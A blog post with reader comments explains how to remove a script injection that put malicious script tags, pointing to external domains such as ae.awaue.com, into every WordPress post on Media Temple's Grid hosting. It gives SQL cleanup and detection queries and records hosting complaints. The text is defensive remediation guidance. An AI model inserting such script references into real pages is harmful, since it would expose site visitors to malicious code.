If you’re running WordPress on Media Temple’s Grid Service, there’s a good chance your blog has been compromised. I at first figured that my virus scanner was going haywire, but after looking at source code on a couple of sites I have hosted over on the Grid, I realized my database had been plagued with some script injection attacks.
http://ae.awaue.com/7
http://ie.eracou.com/3
If you’re finding the above references in an injected script in your source at the end of every post you have the exact same problem. The script has been appended to every post you have in your MySQL database. Luckily the fix is quick and easy. Here’s how to get rid of the WordPress hack:
1. Log In to your Media Temple Account Center
2. In the domain Admin Panel click ‘Manage Databases’
3. Log In To Admin which will take you to phpMyAdmin
4. Select the database of your WordPress installation from the left sidebar
5. Choose the SQL tab on the top
Copy in the following:
UPDATE wp_posts SET post_content = replace(post_content, ‘<script src=”http://ae.awaue.com/7″></script>’, ”);
The command there basically replaces the script with nothing, but it assumes that your database tables have the default suffix wp_. You may need to edit the command or malicious script accordingly. Now hit go and phpMyAdmin should tell you the number of instances of the script it removed. You can also check by viewing any previously posts in phpMyAdmin.
The next steps are to figure out what to do if you’ve been hacked. There’s a great post on the WordPress Codex for that here. @mediatemple also sent me this link on twitter. (thanks for the quick reply mt support).
I only host a site or two, none of them client sites, on the Grid Server. These recent security issues are one of the reasons why I have moved away from the (mt) Grid. Unfortunately, the affected blogs were my Dad’s so I really do have to notify the “client” in this case. Good luck with your own site!
Thanks. Was wondering what was up myself (if this were me or the guys @ (MT) ).
THANKS! … but the SQL above gives me an error (@93), with the
“></
Sent this to @mediatemple on twitter, and they say they are working on it. Thoughts on better syntax?
It looks like the wrong kind of quotes are in the original code. If this still fails, replace all four single quotes with normal ones:
UPDATE wp_posts SET post_content = replace(post_content, ”, ”)
@dhkeller returned your tweet. can you try typing in the statement instead of copy/pasting and see if that works? there might be a discrepancy between the encoding of the text you’re copying and pasting and what phpMyAdmin wants to read.
@Rob I edited the post and just tried copying and pasting the new command. That seemed to fix it. Hopefully that works for everyone.
this worked perfectly, but i have other sites on a different MT server that are being affected by this problem:
http://weblog.mediatemple.net/weblog/category/system-incidents/1378-information-about-compromised-sites/
anyone have any info about this one?
Guys,
MT has an official instructions here on how to remove this malicious code: http://mdtm.pl/97iaeu
Removed the code from 1507 of my posts. I need to move servers as well.
thnaks! i discovered last nite that three of our blogs had this! thank you for the directions!
I ran the SQL query, rows were affected but to no avail: I still have the problem on my site (ae.awaue.com).
Anyone knows why so?
:S
I was on the wrong database, sorry. Everything is A-OK now!
Just fyi guys, we also have a wiki open with more info:
http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit
It seems that the domain names that appearing are changing as well. I’d recommend running that update query again on the other domain name listed to determine if that is present as well.
You can get a list of all scripts included in your posts (to look for malicious sources) using this query:
SELECT post_content FROM wp_posts WHERE post_content LIKE ‘%script src=%’;
If you see anything other than the domains listed in our wiki, and it seems to be malicious, please let us know and we’ll update that list.
Updated the post. Thanks, Julian.
I got majorly hacked with this. I’m in the process of dumping MediaTemple.
It’s unbelievable to me that they post that it’s basically the customer’s fault, but they neglect to mention that most (if not all) of these WordPress installs are one-click installs which means that the customer did not set the easily-hackable password and that whatever “exploits” they are mentioning which are not their fault are somehow STILL the fault of the customer.
I’m sorry MediaTemple, but I use one-click installs because I don’t want to have to deal with the kind of things required to setup and PROTECT my databases and that’s why I hired you.
I’m going to another host that uses 3rd part scanning tools to look for malicious scripts. DUH.
I used to think MediaTemple was the best and they did at one time have excellent customer service and they didn’t have this “you poor dumb user it’s just your fault that you don’t know how to protect the MediaTemple infrastructure” BS.
I’ll be leaving just as soon as I can get my clients off of your servers run by lazy admins who can’t be bothered to learn white-hat hacking to find exploits. If you don’t do it, then guess who will???????
I’m also not clear on one thing. If I can delete this code off of my site, why can’t MediaTemple do this? If it takes me an hour or two to do this for one database, then why can’t they spend the day doing it for everyone?
Thank you so much for posting this fix. I had to apply this to all of my databases and removed over 1,000 occurrences of this script. It’s unbelievable to me that MT didn’t do this for me. They must have no investment in detecting dangerous scripts like this or have any plan for removing them or notifying their customers. Their customer service has really gone to the crapper starting a couple years ago.
What I did in addition to cleaning up the script is hardening the password for the grid service (which has power over everything so once that is hacked, it’s all over but the crying). It was set to 8 characters I think. I increased it to 16.
I also created a profile with a username that isn’t based on my grid service name. I added a suffix that took the entire name to 16 characters. I then put on a 16-character-long password to go with it and then copied/pasted that into all of my blog config files.
That should keep the hackers at bay, but, truthfully, their security set up is really stupid. Having one universal account that doesn’t have the level of hardness that they expect customers to use is ridiculous. I bet that they don’t even bother to check where or not the SQL username/password is undergoing a brute-force attack. Can’t they set these to shutdown after three failed tries? WTF?